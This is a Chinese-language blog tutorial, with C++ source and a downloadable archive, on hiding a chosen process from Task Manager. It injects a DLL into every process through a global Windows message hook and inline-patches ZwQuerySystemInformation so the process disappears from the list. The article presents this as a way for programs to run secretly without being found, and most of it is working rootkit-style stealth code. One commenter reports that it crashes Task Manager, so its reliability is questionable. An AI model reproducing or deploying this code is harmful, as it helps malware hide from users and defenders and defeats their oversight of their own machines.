劫持ZwQuerySystemInformation函数实现进程隐藏

Brokenner

发布日期: 2018-12-31 16:07:28 浏览量: 2765
评分:
star star star star star star star star star star
*转载请注明来自write-bug.com

背景

所谓的进程隐藏,通俗地说指的是某个进程正常工作,不受任何影响,但是,我们使用类似任务管理器、Process Explorer 等进程查看软件查看进程,却看不到这个进程。适合秘密在计算机后台进行操作的程序,而不想让人发现。

本文讲解的就是实现这样的一个进程隐藏程序的原理和过程,当然,进程隐藏的方法有很多,例如 DLL 劫持、DLL注入、代码注入、进程内存替换、HOOK API 等等。我们本文要介绍的就是 HOOK API 函数 ZwQuerySystemInformation 实现的隐藏指定进程。现在,我就把程序的实现过程整理成文档,分享给大家。

函数介绍

ZwQuerySystemInformation 函数

获取指定的系统信息。

函数声明

  1. NTSTATUS WINAPI ZwQuerySystemInformation(
  2. _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
  3. _Inout_ PVOID SystemInformation,
  4. _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength
  5. );

参数

  • SystemInformationClass [in]
    要检索的系统信息的类型。 该参数可以是SYSTEM_INFORMATION_CLASS枚举类型中的以下值之一。

  • SystemInformation[in,out]
    指向缓冲区的指针,用于接收请求的信息。 该信息的大小和结构取决于SystemInformationClass参数的值,如下表所示。

  • SystemInformationLength [in]
    SystemInformation参数指向的缓冲区的大小(以字节为单位)。

  • ReturnLength [out]

    一个可选的指针,指向函数写入所请求信息的实际大小的位置。 如果该大小小于或等于SystemInformationLength参数,则该函数将该信息复制到SystemInformation缓冲区中; 否则返回一个NTSTATUS错误代码,并以ReturnLength返回接收所请求信息所需的缓冲区大小。

返回值

  • 返回NTSTATUS成功或错误代码。
  • NTSTATUS错误代码的形式和意义在DDK中提供的Ntstatus.h头文件中列出,并在DDK文档中进行了说明。

注意

  • ZwQuerySystemInformation函数及其返回的结构在操作系统内部,并可能从一个版本的Windows更改为另一个版本。 为了保持应用程序的兼容性,最好使用前面提到的替代功能。
  • 如果您使用ZwQuerySystemInformation,请通过运行时动态链接访问该函数。 如果功能已被更改或从操作系统中删除,这将使您的代码有机会正常响应。 但签名变更可能无法检测。
  • 此功能没有关联的导入库。 您必须使用LoadLibrary和GetProcAddress函数动态链接到Ntdll.dll。

实现原理

首先,先来讲解下为什么 HOOK ZwQuerySystemInformation 函数就可以实现指定进程隐藏。是因为我们遍历进程通常是调用系统 WIN32 API 函数 EnumProcess 、CreateToolhelp32Snapshot 等函数来实现,这些 WIN32 API 它们内部最终是通过调用 ZwQuerySystemInformation 这个函数实现的获取进程列表信息。所以,我们只要 HOOK ZwQuerySystemInformation 函数,对它获取的进程列表信息进行修改,把有我们要隐藏的进程信息从中去掉,那么 ZwQuerySystemInformation 就返回了我们修改后的信息,其它程序获取这个被修的信息后,自然获取不到我们隐藏的进程,这样,指定进程就被隐藏起来了。

其中,我们将HOOK ZwQuerySystemInformation 函数的代码部分写在 DLL 工程中,原因是我们要实现的是隐藏指定进程,而不是单单在自己的进程内隐藏指定进程。写成 DLL 文件,可以方便我们将 DLL 文件注入到其它进程的空间,从而 HOOK 其它进程空间中的 ZwQuerySystemInformation 函数,这样,就实现了在其它进程空间中也看不到指定进程了。

我们选取 DLL 注入的方法是设置全局钩子,这样就可以快速简单地将指定 DLL 注入到所有的进程空间里了。

其中,HOOK API 使用的是自己写的 Inline Hook,即在 32 位程序下修改函数入口前 5 个字节,跳转到我们的新的替代函数;对于 64 位程序,修改函数入口前 12 字节,跳转到我们的新的替代函数。

编码实现

HOOK ZwQuerySystemInformation

  1. void HookApi()
  2. {
  3. // 获取 ntdll.dll 的加载基址, 若没有则返回
  4. HMODULE hDll = ::GetModuleHandle("ntdll.dll");
  5. if (NULL == hDll)
  6. {
  7. return;
  8. }
  9. // 获取 ZwQuerySystemInformation 函数地址
  10. typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
  11. if (NULL == ZwQuerySystemInformation)
  12. {
  13. return;
  14. }
  15. // 32 位下修改前 5 字节, 64 位下修改前 12 字节
  16. #ifndef _WIN64
  17. // jmp New_ZwQuerySystemInformation
  18. // 机器码位:e9 _dwOffset(跳转偏移)
  19. // addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
  20. // addr2 --> 跳转地址的值,即_dwNewAddress的值
  21. // 跳转偏移 _dwOffset = addr2 - addr1
  22. BYTE pData[5] = { 0xe9, 0, 0, 0, 0};
  23. DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
  24. ::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
  25. // 保存前 5 字节数据
  26. ::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));
  27. #else
  28. // mov rax,0x1122334455667788
  29. // jmp rax
  30. // 机器码是:
  31. // 48 b8 8877665544332211
  32. // ff e0
  33. BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0};
  34. ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;
  35. ::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset));
  36. // 保存前 12 字节数据
  37. ::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));
  38. #endif
  39. // 设置页面的保护属性为 可读、可写、可执行
  40. DWORD dwOldProtect = 0;
  41. ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
  42. // 修改
  43. ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
  44. // 还原页面保护属性
  45. ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
  46. }

UNHOOK ZwQuerySystemInformation

  1. void UnhookApi()
  2. {
  3. // 获取 ntdll.dll 的加载基址, 若没有则返回
  4. HMODULE hDll = ::GetModuleHandle("ntdll.dll");
  5. if (NULL == hDll)
  6. {
  7. return;
  8. }
  9. // 获取 ZwQuerySystemInformation 函数地址
  10. typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
  11. if (NULL == ZwQuerySystemInformation)
  12. {
  13. return;
  14. }
  15. // 设置页面的保护属性为 可读、可写、可执行
  16. DWORD dwOldProtect = 0;
  17. ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
  18. // 32 位下还原前 5 字节, 64 位下还原前 12 字节
  19. #ifndef _WIN64
  20. // 还原
  21. ::RtlCopyMemory(ZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));
  22. #else
  23. // 还原
  24. ::RtlCopyMemory(ZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));
  25. #endif
  26. // 还原页面保护属性
  27. ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
  28. }

New_ZwQuerySystemInformation 函数

  1. NTSTATUS New_ZwQuerySystemInformation(
  2. SYSTEM_INFORMATION_CLASS SystemInformationClass,
  3. PVOID SystemInformation,
  4. ULONG SystemInformationLength,
  5. PULONG ReturnLength
  6. )
  7. {
  8. NTSTATUS status = 0;
  9. PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
  10. // 要隐藏的进程PID
  11. DWORD dwHideProcessId = 1224;
  12. // UNHOOK API
  13. UnhookApi();
  14. // 获取 ntdll.dll 的加载基址, 若没有则返回
  15. HMODULE hDll = ::GetModuleHandle("ntdll.dll");
  16. if (NULL == hDll)
  17. {
  18. return status;
  19. }
  20. // 获取 ZwQuerySystemInformation 函数地址
  21. typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
  22. if (NULL == ZwQuerySystemInformation)
  23. {
  24. return status;
  25. }
  26. // 调用原函数 ZwQuerySystemInformation
  27. status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
  28. SystemInformationLength, ReturnLength);
  29. if (NT_SUCCESS(status) && 5 == SystemInformationClass)
  30. {
  31. pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  32. while (TRUE)
  33. {
  34. // 判断是否是要隐藏的进程PID
  35. if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
  36. {
  37. if (0 == pCur->NextEntryOffset)
  38. {
  39. pPrev->NextEntryOffset = 0;
  40. }
  41. else
  42. {
  43. pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
  44. }
  45. }
  46. else
  47. {
  48. pPrev = pCur;
  49. }
  50. if (0 == pCur->NextEntryOffset)
  51. {
  52. break;
  53. }
  54. pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
  55. }
  56. }
  57. // HOOK API
  58. HookApi();
  59. return status;
  60. }

设置全局消息钩子注入DLL

  1. int _tmain(int argc, _TCHAR* argv[])
  2. {
  3. // 加载DLL并获取句柄
  4. HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll");
  5. if (NULL == hDll)
  6. {
  7. printf("%s error[%d]\n", "LoadLibrary", ::GetLastError());
  8. }
  9. printf("Load Library OK.\n");
  10. // 设置全局钩子
  11. g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, hDll, 0);
  12. if (NULL == g_hHook)
  13. {
  14. printf("%s error[%d]\n", "SetWindowsHookEx", ::GetLastError());
  15. }
  16. printf("Set Windows Hook OK.\n");
  17. system("pause");
  18. // 卸载全局钩子
  19. if (FALSE == ::UnhookWindowsHookEx(g_hHook))
  20. {
  21. printf("%s error[%d]\n", "UnhookWindowsHookE", ::GetLastError());
  22. }
  23. printf("Unhook Windows Hook OK.\n");
  24. // 卸载DLL
  25. ::FreeLibrary(hDll);
  26. system("pause");
  27. return 0;
  28. }

程序测试

我们运行将要隐藏进程的程序 520.exe,然后打开任务管理器,可以查看到 520.exe 是处于可见状态。接着,以管理员权限运行我们的程序,设置全局消息钩子,将 DLL 注入到所有的进程中,DLL 便在 DllMain 入口点函数处 HOOK ZwQuerySystemInformation 函数,成功隐藏 520.exe 的进程。所以,测试成功。

总结

要注意 Inline Hook API 的时候,在 32 位系统和 64 位系统下的差别。

在 32 位使用 jmp _NewAddress 跳转语句,机器码是 5 字节,而且要注意理解它的跳转偏移的计算方式:

  1. 跳转偏移 = 跳转地址 - 下一跳指令的地址

在 64 位使用的是的汇编指令是:

  1. mov rax, _NewAddress
  2. jmp rax

机器码是 12 字节。

在Windows7 32位旗舰版以及Windows10 64位专业版上进行测试,均能成功隐藏指定进程,程序在32位和64位全平台系统均能正常工作。要注意一点就是,建议以管理员身份运行程序,否则我们的全局钩子不能成功注入到一些高权限的进程中。

参考

参考自《Windows黑客编程技术详解》一书

上传的附件 cloud_download HideProcess_ZwQuerySystemInformation_Test.7z ( 189.10kb, 104次下载 )

keyboard_arrow_left上一篇 : 基于SSM的超市订单管理系统 基于Java的图书购物商城 : 下一篇keyboard_arrow_right



Brokenner
2018-12-31 16:07:01
劫持ZwQuerySystemInformation函数实现进程隐藏
helloaeiou
2020-09-02 14:37:30
在win732旗舰版测试,任务管理器会崩溃

发送私信

时间能冲淡一切,但却冲不掉一切

9
文章数
6
评论数
最近文章
eject